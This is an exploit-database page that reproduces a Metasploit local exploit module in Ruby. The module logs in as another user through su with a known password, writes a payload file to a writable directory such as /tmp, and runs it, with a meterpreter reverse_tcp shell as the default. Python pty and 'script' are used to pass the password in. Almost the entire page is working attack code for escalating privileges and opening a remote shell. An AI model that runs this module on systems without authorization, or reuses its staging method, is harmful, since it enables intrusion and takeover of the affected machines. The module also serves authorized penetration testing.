Lucene search
K

Linux / Unix su Privilege Escalation

🗓️ 20 Oct 2020 00:00:00Reported by Gavin YoukerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 750 Views

Invoke su command with username/password to create a new session and upload payload for Linux/Unix system

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
include Msf::Post::Linux  
include Msf::Post::Linux::System  
include Msf::Post::Unix  
include Msf::Post::File  
include Msf::Exploit::FileDropper  
include Msf::Exploit::EXE  
prepend Msf::Exploit::Remote::AutoCheck  
  
Rank = NormalRanking  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Login to Another User with Su on Linux / Unix Systems',  
'Description' => %q{  
This module attempts to create a new login session by  
invoking the su command of a valid username and password.  
  
If the login is successful, a new session is created via  
the specified payload.  
  
Because su forces passwords to be passed over stdin, this  
module attempts to invoke a psuedo-terminal with python,  
python3, or script.  
},  
'License' => MSF_LICENSE,  
'Author' => 'Gavin Youker <[email protected]>',  
'DisclosureDate' => '1971-11-03',  
'Platform' => ['linux', 'unix'],  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [  
[  
'Linux x86', {  
'Arch' => ARCH_X86,  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }  
}  
],  
[  
'Linux x86_64', {  
'Arch' => ARCH_X64,  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }  
}  
],  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },  
'SessionTypes' => ['shell', 'meterpreter']  
)  
)  
  
register_options([  
OptString.new('USERNAME', [true, 'Username to authenticate with.', 'root']),  
OptString.new('PASSWORD', [false, 'Password to authenticate with.'])  
])  
  
register_advanced_options([  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])  
])  
end  
  
# Main function to run the exploit.  
def exploit  
fail_with(Failure::NoAccess, 'username not found') unless user_exists(datastore['USERNAME'])  
  
# Upload the payload and stager files.  
print_status('Uploading payload to target')  
payload_file = build_payload(generate_payload_exe, datastore['WritableDir'])  
  
# Execute the payload.  
print_status('Attempting to login with su')  
exec_payload(datastore['USERNAME'], datastore['PASSWORD'], payload_file)  
end  
  
# Function to check if target is exploitable.  
def check  
# Make sure su is installed.  
unless command_exists?('su')  
vprint_error('su not found on target machine')  
return CheckCode::Safe  
end  
  
# Make sure a program to run the exploit is installed.  
prorgam = find_exec_program  
unless prorgam  
vprint_error('One of the following programs must be installed on target: python, python3, script')  
return CheckCode::Safe  
end  
  
# Make sure script requirements are met.  
if prorgam == 'script'  
# Check for command dependencies.  
commands = ['sh', 'sleep', 'echo', 'base64']  
for command in commands  
unless command_exists?(command)  
vprint_error("The '#{command}' must be installed on target")  
return CheckCode::Safe  
end  
end  
  
# Check that the script program is apart of the util-linux package.  
version = find_util_linux_verison  
unless version  
vprint_error("The 'script' program must be of the 'util-linux' package")  
return CheckCode::Safe  
end  
  
# Check that util-linux in of a compatible version.  
unless version >= Gem::Version.new('2.25')  
vprint_error("The package 'util-linux' must be version 2.25 or higher")  
return CheckCode::Safe  
end  
end  
  
return CheckCode::Appears  
end  
  
# Function to build and write the payload.  
def build_payload(contents, dir)  
fail_with(Failure::NoAccess, "directory '#{dir}' is on a noexec mount point") if noexec?(dir)  
  
filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"  
  
write_file(filepath, contents)  
chmod(filepath, 755)  
register_files_for_cleanup(filepath)  
  
return filepath  
end  
  
# Function to execute the payload through the stager.  
def exec_payload(username, password, payload)  
# Load the exploit based on avaliable options.  
if password  
program = find_exec_program  
if ['python', 'python3'].include?(program)  
vprint_status("Using '#{program}' to load exploit")  
  
python = 'import os, pty, base64;'\  
'read = lambda fd: os.read(fd, 1024);'\  
"write = lambda fd: base64.b64decode('#{Rex::Text.encode_base64(password)}');"\  
"command = 'su - #{username} -c #{payload}';"\  
'os.close(0);'\  
'pty.spawn(command.split(), read, write);'  
  
command = "#{program} -c \"#{python}\""  
elsif program == 'script'  
vprint_status("Using 'script' to load exploit")  
command = "sh -c 'sleep 1; echo #{Rex::Text.encode_base64(password)} | base64 -d' | script /dev/null -qc 'su - #{username} -c #{payload}'"  
end  
else  
command = "su - #{username} -c #{payload}"  
end  
  
# Execute the exploit.  
response = cmd_exec(command)  
  
fail_with(Failure::NoAccess, 'invalid password') if response.to_s.include?('Authentication failure')  
return true  
end  
  
def find_exec_program  
return 'python' if command_exists?('python')  
return 'python3' if command_exists?('python3')  
return 'script' if command_exists?('script')  
  
return false  
end  
  
# Function to check if the user exists.  
def user_exists(username)  
return get_users.any? { |user| user[:name] == username }  
end  
  
# Function to get util-linux version.  
def find_util_linux_verison  
response = cmd_exec('script -V')  
match = response.match(/script from util-linux (?<version>\d.\d+(.\d+)?)/)  
  
return false unless match  
  
return Gem::Version.new(match[:version])  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation